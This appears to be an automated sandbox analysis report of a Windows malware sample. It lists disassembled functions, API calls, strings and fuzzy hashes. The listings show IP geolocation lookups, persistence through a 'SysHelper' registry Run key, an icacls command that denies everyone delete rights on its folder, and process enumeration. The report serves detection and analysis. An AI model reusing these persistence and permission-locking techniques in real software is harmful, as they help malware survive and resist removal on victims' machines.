Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SysHelper, xrefs: 00411D5B, 004120EB
D, xrefs: 00412128
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C
" --AutoStart, xrefs: 00411DD1
" --AutoStart, xrefs: 004120C2
SHGetFolderPathW, xrefs: 00411E9F
Shell32.dll, xrefs: 00411E94

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
EnumProcesses, xrefs: 00412264, 00412299
kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC50 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0041CC83

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: 38c33b148a0880c22fef826a72848e8db45d7a5f4ef6098ecc29bd5a340866da
Instruction ID: 52da3c53c07101cb0fed2dfe03d77d14ca015ab54627e4d196b0d3cf544a0d43
Opcode Fuzzy Hash: 38c33b148a0880c22fef826a72848e8db45d7a5f4ef6098ecc29bd5a340866da
Instruction Fuzzy Hash: 9AE026303803049BEB08DE12C890ABB7755DF92740B04803EAC0E8B361FA34DD04D7E9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

NetStatisticsGet, xrefs: 004819E2
GetForegroundWindow, xrefs: 00481C4A
LanmanServer, xrefs: 00481A74
Thread32Next, xrefs: 00481E13
GetCursorInfo, xrefs: 00481C58
Process32First, xrefs: 00481DDA
CreateToolhelp32Snapshot, xrefs: 00481D67
CryptGenRandom, xrefs: 00481AE3
Module32Next, xrefs: 00481E39
CryptAcquireContextW, xrefs: 00481AD5
Heap32ListNext, xrefs: 00481DC7
Process32Next, xrefs: 00481DED
LanmanWorkstation, xrefs: 00481A26
Heap32ListFirst, xrefs: 00481DB4
Heap32First, xrefs: 00481D8E
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
KERNEL32.DLL, xrefs: 0048199C
$, xrefs: 00481F7E
Thread32First, xrefs: 00481E00
NetApiBufferFree, xrefs: 004819F0
USER32.DLL, xrefs: 00481C31
Module32First, xrefs: 00481E26
ADVAPI32.DLL, xrefs: 00481989
GetQueueStatus, xrefs: 00481C6B
Heap32Next, xrefs: 00481DA1
CryptReleaseContext, xrefs: 00481AF6
NETAPI32.DLL, xrefs: 004819A9
CloseToolhelp32Snapshot, xrefs: 00481D7B

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
